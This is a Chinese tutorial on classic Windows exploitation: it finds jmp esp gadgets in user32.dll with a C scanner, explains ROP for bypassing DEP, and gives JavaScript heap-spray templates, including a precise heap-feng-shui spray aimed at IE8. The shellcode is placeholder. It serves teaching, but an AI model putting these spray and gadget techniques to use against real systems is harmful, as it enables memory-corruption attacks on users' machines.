在Windows中使用jmp esp(跳板技术)的频率远远高于linux(虽然这种技术在linux下也可用),比起将shellcode放在ret地址后面,将shellcode放在栈顶能有效减少空间。通过调用jmp esp将程序跳转到shellcode。

虽然在DEP和ASLR盛行的年代,这个技术也早已不再有用武之地。但除了对于研究历史漏洞帮助,该技术还是引入ROP这个概念的一个前置知识,在学习了ROP之后,你会忽然领悟的。

这次让我们放下windbg,自己动手编程实现寻找jmp esp

编程实现寻找gadget

726GrI

以jmp esp为案例,寻找user32.dll中的所有jmp esp地址。

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#include "stdafx.h"
#include<windows.h>

#define DLL_Name "user32.dll"
int _tmain(int argc, _TCHAR* argv[])
{
​ HINSTANCE handle=LoadLibraryA(DLL_Name);
​ if(!handle){
​ printf("load dll error\n");
​ exit(0);
​ }
​ printf("Load success...\n");
​ BYTE *ptr=(BYTE*)handle;
​ BOOL flag=false;
​ for(int i=0;!flag;i++)
​ {
​ try{
​ if(ptr[i]==0xFF&&ptr[i+1]==0xE4) //JMP ESP的十六进制码=0xFFE4
​ printf("\t\tptr->jmp esp = 0x%x\n",((int)ptr+i));
​ }
​ catch(...)
​ {
​ int address=(int)ptr+i;
​ printf("END OF 0x%x\n",address);
​ flag=true;
​ }
​ }
​ return 0;
}

使用ROP绕过DEP

ROP技术是用于绕过栈不可执行(其实现在的堆也不可执行咯),什么是ROP技术。其实之前的jmp esp已经引出了ROP的基础理念,即使用程序自身text段的机器码执行。

ROP的全程面向返回语句的编程,一个个gadgets串联起来的链叫做ROP链。每个gadgets的格式大概为“ 指令 指令 ret”,通过ret命令将所有的gadgets串联起来。

如果说jmp esp是一个跳板就直指靶心,那么ROP就是经过好多跳板,分步骤完成自己的命令。

常见的绕过DEP的案例,就是通过ROP实现VirtualProtect来对shellcode所在内存修改属性(相当于关闭DEP),将其修改为可执行,再通过JMP R32来跳转执行Shellcode。

具体案例可以参考我之前写的对IE浏览器写的Exploit

https://www.anquanke.com/post/id/190590

HeapSpray

堆喷射是一种shellcode布置技术,常常借助javascript等脚本语言实现,所以常见于浏览器漏洞。

上古的堆喷射

在Windows XP SP3以前,Windows下大部分程序都不会默认开始DEP(或者不支持),只需要构建nop(大量)+shellcode的内存块,使用javascript申请200MB的内存空间,能够覆盖内存的大量空间。只要控制程序流跳转到类似0x0c0c0c0c(也可以是其他位置,只要足够稳定就行)这样就会顺着nops一路滑到shellcode并且执行。

参考代码

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<script language="javascript">
shellcode="\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234";
var nop="\u9090\u9090";
while(nop.length<=0x100000/2)
{
​ nop+=nop;
}

nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++){
​ slide[i]=nop+shellcode;
// slide[i]=nop;
}
</script>

精确堆喷射

在Windows进入后DEP时代,面临DEP和ASLR的双重防线,DEP导致堆中的数据无法执行,之前布置大量数据以量取胜的战术失去了意义。于是heap-feng-shui(堆风水)技术被提出。

通过堆风水,我们申请0x1000个0x80000大小的堆块。分配量足够大,导致堆块中的每0x1000个小的片的开始地址都是固定,通常为0xYYYY020。

因此我们能够将ROP链的头部稳定对齐末尾固定的四字节(例如0xYYYY0050)。这样就能构成某种意义上的精确喷射。

参考文献:http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html

IE8下的参考代码(shellcode喷射对齐0x0c0c0c0c)

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<!DOCTYPE html>
<html>
<head>
​ <title></title>
</head>
<body>
<script type="text/javascript">
​ var sc="\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141";
​ var nop="\u0c0c\u0c0c";
​ var offset=0x5ee-4/2;//0xbdc/2-4/2
​ //以0x10000为单位的shellcode+nop结构单元

​ while(nop.length<0x10000)
​ nop+=nop;
​ var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节
​ var sc_nop=sc+nop_chunk;
​ //组合成单个大小为0x80000的堆块(heap-feng-shui)
​ while(sc_nop.length<0x100000)
​ sc_nop+=sc_nop;
​ sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
​ var offset_pattern=nop.substring(0,offset);
​ code=offset_pattern+sc_nop;
​ heap_chunks=new Array();
​ for(i=0;i<1000;i++)
​ {
​ heap_chunks[i]=code.substring(0,code.length);
​ }
</script>
</body>
</html>

More待续

JIT-Spray?

JIT-ROP?

参考文献:

[1]peter.《Exploit编写教程》[OL/DB],2010

[2]《现代化windows漏洞程序开发》[OL/DB],2016

[3]Failwest.《0day安全》[M].电子工业出版社,2011

[4]PEB手工分析

[5]WinXp符号表不支持解决方案

[6]https://blog.csdn.net/x_nirvana/article/details/68921334

[7]https://blog.csdn.net/hgy413/article/details/7422722